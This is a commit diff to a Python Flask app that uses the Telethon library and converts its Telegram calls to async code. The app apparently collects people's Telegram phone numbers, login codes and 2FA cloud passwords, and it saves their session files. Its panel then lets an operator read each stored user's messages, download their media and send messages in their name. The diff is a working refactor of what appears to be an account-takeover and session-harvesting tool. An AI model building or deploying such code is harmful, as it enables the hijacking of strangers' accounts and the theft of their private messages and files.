Aleksmorshen commited on
Commit
3322695
·
verified ·
1 Parent(s): 18d1dcb

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +81 -63
app.py CHANGED
@@ -80,7 +80,7 @@ HTML_TEMPLATE = '''
80
  <td>
81
  <a href="/user/{{ user[0] }}/messages">Messages</a> |
82
  <a href="/user/{{ user[0] }}/files">Files</a> |
83
- <a href="/send_message/{{ user[0] }}">Send Message</a>
84
  </td>
85
  </tr>
86
  {% endfor %}
@@ -170,39 +170,43 @@ def login():
170
  step = data.get('step')
171
  session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
172
 
173
- client = TelegramClient(session_file, API_ID, API_HASH)
174
- try:
175
- if step == 'start':
176
- client.connect()
177
- client.send_code_request(phone)
178
- return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
179
- elif step == 'code':
180
- client.connect()
181
- me = client.sign_in(phone, code)
182
- with sqlite3.connect(DB_PATH) as conn:
183
- c = conn.cursor()
184
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
185
- (str(me.id), me.username or '', phone, session_file))
186
- conn.commit()
187
- return jsonify({'success': True, 'message': 'Logged in successfully'})
188
- elif step == 'password':
189
- client.connect()
190
- me = client.sign_in(password=password)
191
- with sqlite3.connect(DB_PATH) as conn:
192
- c = conn.cursor()
193
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
194
- (str(me.id), me.username or '', phone, session_file))
195
- conn.commit()
196
- return jsonify({'success': True, 'message': 'Logged in with cloud password'})
197
- else:
198
- return jsonify({'success': False, 'message': 'Invalid step'})
199
- except Exception as e:
200
- if 'session password' in str(e).lower() or '2fa' in str(e).lower():
201
- return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
202
- return jsonify({'success': False, 'message': str(e)})
203
- finally:
204
- if client.is_connected():
205
- client.disconnect()
 
 
 
 
206
 
207
  @app.route('/user/<int:user_id>/messages')
208
  def get_messages(user_id):
@@ -211,16 +215,20 @@ def get_messages(user_id):
211
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
212
  session_file = c.fetchone()[0]
213
 
214
- client = TelegramClient(session_file, API_ID, API_HASH)
215
- client.connect()
216
- messages = []
217
- try:
218
- for dialog in client.get_dialogs(limit=10):
219
- for message in client.get_messages(dialog, limit=10):
220
- messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
221
- finally:
222
- client.disconnect()
 
 
 
223
 
 
224
  return render_template_string('''
225
  <h1>Messages for User {{ user_id }}</h1>
226
  <div class="chat">
@@ -238,18 +246,23 @@ def get_files(user_id):
238
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
239
  session_file = c.fetchone()[0]
240
 
241
- client = TelegramClient(session_file, API_ID, API_HASH)
242
- client.connect()
243
- files = []
244
- try:
245
- for dialog in client.get_dialogs(limit=10):
246
- for message in client.get_messages(dialog, limit=10):
247
- if message.media:
248
- file_path = client.download_media(message, DOWNLOAD_DIR)
249
- files.append({'chat': dialog.title, 'file': Path(file_path).name})
250
- finally:
251
- client.disconnect()
 
 
 
 
252
 
 
253
  return render_template_string('''
254
  <h1>Files for User {{ user_id }}</h1>
255
  <table>
@@ -279,15 +292,20 @@ def send_message(user_id):
279
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
280
  session_file = c.fetchone()[0]
281
 
282
- client = TelegramClient(session_file, API_ID, API_HASH)
283
- client.connect()
284
- try:
285
- client.send_message(chat_id, message)
286
- return jsonify({'success': True, 'message': 'Message sent'})
287
- except Exception as e:
288
- return jsonify({'success': False, 'message': str(e)})
289
- finally:
290
- client.disconnect()
 
 
 
 
 
291
 
292
  if __name__ == '__main__':
293
  init_db()
 
80
  <td>
81
  <a href="/user/{{ user[0] }}/messages">Messages</a> |
82
  <a href="/user/{{ user[0] }}/files">Files</a> |
83
+ <a href="javascript:void(0);" onclick="sendMessage({{ user[0] }})">Send Message</a>
84
  </td>
85
  </tr>
86
  {% endfor %}
 
170
  step = data.get('step')
171
  session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
172
 
173
+ async def _login_async():
174
+ client = TelegramClient(session_file, API_ID, API_HASH)
175
+ try:
176
+ if step == 'start':
177
+ await client.connect()
178
+ await client.send_code_request(phone)
179
+ return {'success': True, 'message': 'Code sent to your Telegram'}
180
+ elif step == 'code':
181
+ await client.connect()
182
+ me = await client.sign_in(phone, code)
183
+ with sqlite3.connect(DB_PATH) as conn:
184
+ c = conn.cursor()
185
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
186
+ (str(me.id), me.username or '', phone, session_file))
187
+ conn.commit()
188
+ return {'success': True, 'message': 'Logged in successfully'}
189
+ elif step == 'password':
190
+ await client.connect()
191
+ me = await client.sign_in(password=password)
192
+ with sqlite3.connect(DB_PATH) as conn:
193
+ c = conn.cursor()
194
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
195
+ (str(me.id), me.username or '', phone, session_file))
196
+ conn.commit()
197
+ return {'success': True, 'message': 'Logged in with cloud password'}
198
+ else:
199
+ return {'success': False, 'message': 'Invalid step'}
200
+ except Exception as e:
201
+ if 'session password' in str(e).lower() or '2fa' in str(e).lower():
202
+ return {'success': False, 'password_required': True, 'message': 'Cloud password required'}
203
+ return {'success': False, 'message': str(e)}
204
+ finally:
205
+ if client.is_connected():
206
+ await client.disconnect()
207
+
208
+ result = asyncio.run(_login_async())
209
+ return jsonify(result)
210
 
211
  @app.route('/user/<int:user_id>/messages')
212
  def get_messages(user_id):
 
215
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
216
  session_file = c.fetchone()[0]
217
 
218
+ async def _get_messages_async():
219
+ client = TelegramClient(session_file, API_ID, API_HASH)
220
+ await client.connect()
221
+ messages = []
222
+ try:
223
+ async for dialog in client.iter_dialogs(limit=10):
224
+ async for message in client.iter_messages(dialog, limit=10):
225
+ messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
226
+ finally:
227
+ if client.is_connected():
228
+ await client.disconnect()
229
+ return messages
230
 
231
+ messages = asyncio.run(_get_messages_async())
232
  return render_template_string('''
233
  <h1>Messages for User {{ user_id }}</h1>
234
  <div class="chat">
 
246
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
247
  session_file = c.fetchone()[0]
248
 
249
+ async def _get_files_async():
250
+ client = TelegramClient(session_file, API_ID, API_HASH)
251
+ await client.connect()
252
+ files = []
253
+ try:
254
+ async for dialog in client.iter_dialogs(limit=10):
255
+ async for message in client.iter_messages(dialog, limit=10):
256
+ if message.media:
257
+ file_path = await client.download_media(message, DOWNLOAD_DIR)
258
+ if file_path: # Ensure file was actually downloaded
259
+ files.append({'chat': dialog.title, 'file': Path(file_path).name})
260
+ finally:
261
+ if client.is_connected():
262
+ await client.disconnect()
263
+ return files
264
 
265
+ files = asyncio.run(_get_files_async())
266
  return render_template_string('''
267
  <h1>Files for User {{ user_id }}</h1>
268
  <table>
 
292
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
293
  session_file = c.fetchone()[0]
294
 
295
+ async def _send_message_async():
296
+ client = TelegramClient(session_file, API_ID, API_HASH)
297
+ await client.connect()
298
+ try:
299
+ await client.send_message(chat_id, message)
300
+ return {'success': True, 'message': 'Message sent'}
301
+ except Exception as e:
302
+ return {'success': False, 'message': str(e)}
303
+ finally:
304
+ if client.is_connected():
305
+ await client.disconnect()
306
+
307
+ result = asyncio.run(_send_message_async())
308
+ return jsonify(result)
309
 
310
  if __name__ == '__main__':
311
  init_db()